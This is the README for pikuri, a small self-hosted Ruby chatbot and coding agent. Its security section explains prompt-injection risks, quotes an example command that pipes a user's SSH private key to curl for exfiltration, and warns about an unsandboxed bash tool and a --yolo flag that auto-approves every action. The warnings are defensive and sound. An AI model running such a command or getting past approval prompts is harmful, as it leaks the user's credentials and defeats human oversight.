pikuri
A small Ruby AI assistant you run on your own machine. bin/pikuri-chat
is a general-purpose chatbot with a calculator, web search, web
scraping, and a fetch tool — wired by default to a
llama.cpp server running
locally, so the conversation never leaves your computer unless the
model itself decides to call a tool.
Quick start
git clone https://codeberg.org/mvysny/pikuri.git
cd pikuri
# Ruby 3.x + bundler (Ubuntu/Debian)
sudo apt install ruby ruby-bundler
bundle install
./bin/pikuri-chat "What is 17 * 23?"
The first run won't get far — pikuri-chat needs a model behind it. See
GETTING_STARTED.md for the full walkthrough:
installing llama.cpp, pulling a model, starting llama-server, and
asking your first question.
Using pikuri as a library
Pikuri is shipped as a Ruby gem you can use in your own project. The
recommended path: first play with bin/pikuri-chat, inspect the
sources, get a feel for the shape — then pull pikuri into your
project as a library:
# In your Gemfile
gem 'pikuri'
A minimal wiring — single agent, default llama.cpp transport, the
bundled calculator + web-search tools, the same system prompt
pikuri-chat uses:
require 'pikuri'
RubyLLM.configure do |c|
c.openai_api_base = 'http://localhost:8080/v1' # llama.cpp default
c.openai_api_key = 'not-needed'
end
agent = Pikuri::Agent.new(
transport: Pikuri::Agent::ChatTransport.new(
model: 'unsloth/Qwen3.6-35B-A3B-GGUF',
provider: :openai,
assume_model_exists: true
),
system_prompt: Pikuri.prompt(:'pikuri-chat'),
tools: [Pikuri::Tool::CALCULATOR, Pikuri::Tool::WEB_SEARCH],
listeners: Pikuri::Agent::ListenerList.new([
Pikuri::Agent::Listener::Terminal.new,
Pikuri::Agent::Listener::StepLimit.new(max: 20)
])
)
agent.run_loop(user_message: 'What is 17 * 23?')
bin/pikuri-chat and bin/pikuri-code in this repo are the canonical
working examples — they're dev/demo scripts (not installed by
gem install pikuri), but they're the easiest place to crib wiring
from. The bundled system prompts under prompts/ are loadable as a
starting point via Pikuri.prompt(name).
Why this exists
The existing self-hosted agent stacks have grown big and now have a steep learning curve — a privacy-conscious user arriving fresh hits a wall of JSON configuration before the first conversation. Pikuri is the deliberate counter-move:
- Privacy-first. Defaults wire a local
llama.cppserver. No cloud account, no API key, no telemetry, no request leaving the machine — unless you explicitly opt in by configuring an external provider, or the model calls a network tool likeweb_search. - Simple. Two short scripts, sane defaults, no config file required to get the first conversation going.
- Gentle learning curve. Defaults work without a config file. The surface area grows as you grow into it: start by chatting, then add a search API key when you want better results, then edit the system prompt when you want to specialise behaviour.
- Teaches you how to use it. GETTING_STARTED.md walks you from zero — a fresh checkout, no model running — to a working personal assistant: installing the local model server, asking your first question, understanding what each bundled tool does, and choosing a search backend that matches your privacy comfort level.
Curious how the agentic loop actually works?
Pikuri sits on top of ruby_llm, which owns the Thought → Tool-call → Observation loop. If you want to learn how that loop works internally — minimal code, no extension surface, nothing to wade through — read agentic-loop-demo. It's the same author's small didactic project, written precisely so the source is the lesson. Pikuri is the production-shaped sibling: same loop, plus tools, listeners, sub-agents, and ergonomics.
More Substance
pikuri-chat builds your understanding of pikuri underpinnings, but it's just a toy. The real fun begins now.
pikuri-code
An in-repo coding agent in the spirit of Claude Code, opencode, or
pi-code — but kept deliberately small so you can read the sources in
an evening. Wire-by-wire it's the same Pikuri::Agent as
pikuri-chat, with a different system prompt and a different toolset:
read, write, edit, grep, glob, bash, plus the web tools
and the calculator. Sub-agents are enabled, and any
Agent Skills discovered under
.pikuri/skills, .claude/skills, .agents/skills (project or home)
get exposed to the model on demand.
Run it from the root of the repo you want it to work in:
cd ~/code/your-project
/path/to/pikuri/bin/pikuri-code
You'll land in a REPL — type a request at the > prompt, hit enter,
and the agent will start reading files, running commands, and editing
code to satisfy it. Ctrl+D (or Ctrl+C) exits. You can also pass an
initial message on the command line:
/path/to/pikuri/bin/pikuri-code "find the failing spec and fix it"
The first time the agent wants to write a file or run a shell command,
it prompts you on the terminal ((y/n)?). Read what it's about to do
before you say yes. If an AGENTS.md or CLAUDE.md exists at the
workspace root, it's prepended to the system prompt as project
context.
Security: this is a tech demo, treat it accordingly
Do not run pikuri-code against a sensitive checkout on a machine
that holds secrets you care about. It is a working demo of the
coding-agent shape, not a hardened tool. The threat model has
glaring holes:
- No sandbox. The
bashtool runs commands as your user, with your environment, your$HOME, your~/.ssh, your shell history, your browser cookies, your cloud CLI credentials — all reachable. An LLM that's been prompt-injected (e.g. by a malicious README it scraped, a poisoned dependency, or a crafted file in the repo) can ask to runcat ~/.ssh/id_ed25519 | curl -X POST ...and the only thing standing between that and exfiltration is you reading the confirmation prompt carefully. The workspace lock applies to pikuri's ownread/write/edit/grep/globtools — it does not apply tobash, which cancat,cp,scp,curlanything the OS lets your user touch. --yoloauto-approves everything. That flag exists for use inside a disposable container or VM. Running--yoloon your laptop is equivalent to handing the model a root shell. Don't.- Network tools fetch arbitrary URLs.
web_search,web_scrape, andfetchare happy to pull whatever the model asks for, and the content of those pages then becomes part of the conversation — classic indirect prompt-injection surface. - No audit log of approved actions. Once you approve a
bashcommand it runs; there's no separate record beyond your scrollback.
In short: run it inside a Docker container, a dev container, a VM, a
fresh user account — anywhere you'd be fine with a stranger having a
shell. The sandboxing story is a known gap and tracked as future
work (see IDEAS.md); until it lands, assume the agent can do
anything your user can do, and approve prompts on that basis.
pikuri-assistant
Has access to your private documents, can read and respond to e-mails, remembers stuff. TODO implemented in the future.
Tests
bundle exec rspec